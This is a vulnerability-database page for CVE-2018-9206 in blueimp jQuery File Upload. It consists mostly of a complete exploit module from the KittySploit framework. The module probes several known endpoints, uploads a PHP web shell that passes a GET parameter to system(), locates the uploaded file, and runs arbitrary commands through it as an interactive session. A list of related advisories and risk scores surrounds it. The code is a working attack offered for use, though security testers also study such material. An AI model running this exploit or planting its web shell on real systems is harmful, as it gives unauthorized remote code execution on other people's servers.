jQuery File Upload RCE (CVE-2018-9206)
| Reporter | Title | Published | Views | Family All 61 |
|---|---|---|---|---|
| blueimp jQuery Arbitrary File Upload Exploit | 5 Nov 201800:00 | – | zdt | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Jquery_File_Upload_Project Jquery_File_Upload | 27 Dec 202502:31 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Jquery_File_Upload_Project Jquery_File_Upload | 22 Oct 201816:33 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Jquery_File_Upload_Project Jquery_File_Upload | 24 Oct 201820:24 | – | githubexploit | |
| CVE-2018-9206 | 11 Oct 201800:00 | – | circl | |
| Blueimp jQuery-File-Upload Arbitrary File Upload Vulnerability | 15 Oct 201800:00 | – | cnvd | |
| Blueimp jQuery File Upload Remote Code Execution (CVE-2018-9206) | 1 Nov 201800:00 | – | checkpoint_advisories | |
| CVE-2018-9206 | 11 Oct 201815:00 | – | cve | |
| CVE-2018-9206 | 11 Oct 201815:00 | – | cvelist | |
| CVE-2018-9206 | 11 Oct 201815:00 | – | debiancve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""blueimp jQuery File Upload unauth PHP upload RCE (CVE-2018-9206) — execute session."""
from __future__ import annotations
import re
import secrets
from urllib.parse import urlparse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'jQuery File Upload RCE (CVE-2018-9206)',
'description': (
'Exploits CVE-2018-9206 by uploading a PHP shell to blueimp jQuery-File-Upload '
'endpoints and executing commands via GET. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-9206'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2018-9206',
'https://www.exploit-db.com/exploits/45790',
],
'tags': ['jquery', 'blueimp', 'upload', 'php', 'rce', 'unauth', 'cve-2018-9206'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution', 'artifact_on_disk'],
'expected_requests': 4,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'PHP upload'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2018_9206_detect'],
},
},
}
upload_path = OptString('', 'Upload endpoint path (auto if empty)', False, advanced=True)
_ENDPOINTS = (
('/server/php/upload.class.php', '/server/php/index.php'),
('/server/php/UploadHandler.php', '/server/php/index.php'),
('/example/upload.php', '/example/upload.php'),
('/php/index.php', '/php/index.php'),
('/jQuery-File-Upload/server/php/index.php', '/jQuery-File-Upload/server/php/index.php'),
)
def _php_shell(self) -> str:
return '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
def _upload(self) -> str | None:
fname = f'{secrets.token_hex(4)}.php'
bound = secrets.token_hex(16)
body = (
f'--{bound}\r\n'
f'Content-Disposition: form-data; name="files[]"; filename="{fname}"\r\n'
'Content-Type: application/octet-stream\r\n\r\n'
f'{self._php_shell()}\r\n\r\n'
f'--{bound}--\r\n'
)
headers = {'Content-Type': f'multipart/form-data; boundary={bound}'}
pairs = self._ENDPOINTS
if self.upload_path:
up = str(self.upload_path)
if not up.startswith('/'):
up = '/' + up
pairs = ((up, up),)
for probe, upload in pairs:
if not self.upload_path:
p = self.http_request(method='GET', path=probe, allow_redirects=False)
if not p or int(p.status_code or 0) != 200:
continue
r = self.http_request(
method='POST',
path=upload,
data=body.encode(),
headers=headers,
allow_redirects=False,
)
if not r:
continue
m = re.search(r'"url"\s*:\s*"([^"]+)"', r.text or '')
if not m:
continue
url = m.group(1).replace('\\/', '/')
if url.startswith('http'):
url = urlparse(url).path or url
if not url.startswith('/'):
url = '/' + url
self._shell_path = url
return url
return None
def execute(self, cmd: str) -> str:
if not getattr(self, '_shell_path', None):
if not self._upload():
return ''
from urllib.parse import quote
path = f'{self._shell_path}?cmd={quote(cmd)}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2018-9206 confirmed via PHP shell id',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'jQuery File Upload did not yield a working PHP shell',
'confidence': 'medium',
}
def check_execute(self):
self._shell_path = None
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
self._shell_path = None
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.97255